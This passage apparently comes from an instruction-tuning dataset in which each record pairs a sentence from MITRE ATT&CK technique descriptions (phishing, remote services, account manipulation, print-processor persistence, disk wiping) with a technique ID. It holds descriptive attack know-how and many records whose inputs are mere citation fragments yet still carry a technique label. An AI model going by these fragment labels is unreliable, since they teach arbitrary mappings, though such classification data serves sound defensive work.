Obfuscation 2023) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also link to \"web bugs\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also link to \"web bugs\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation:", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mr. D0x BitB 2022)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mr. D0x BitB 2022) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to proxy the connection between the victim and the legitimate website.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to proxy the connection between the victim and the legitimate website. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539))", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "in addition to their username and password.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: in addition to their username and password. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nFrom the fake website, information is gathered in web forms and sent to the adversary.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH).", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSH is a protocol that allows authorized users to open remote shells on other computers.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSH is a protocol that allows authorized users to open remote shells on other computers. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation:", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Support O365 Add Another Admin, October 2019)(Citation:", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Support O365 Add Another Admin, October 2019)(Citation: ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles)", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation) ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code>", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key that points to the DLL.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key that points to the DLL. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation:", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AddPrintProcessor May 2018)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AddPrintProcessor May 2018) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable security tools to avoid possible detection of their tools and activities.", "output": "T1089", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable security tools to avoid possible detection of their tools and activities. ### Response: T1089."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "output": "T1089", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting. ### Response: T1089."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)(Citation:", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)(Citation: ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Shamoon3 2018)", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Shamoon3 2018) ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk.", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable.", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, 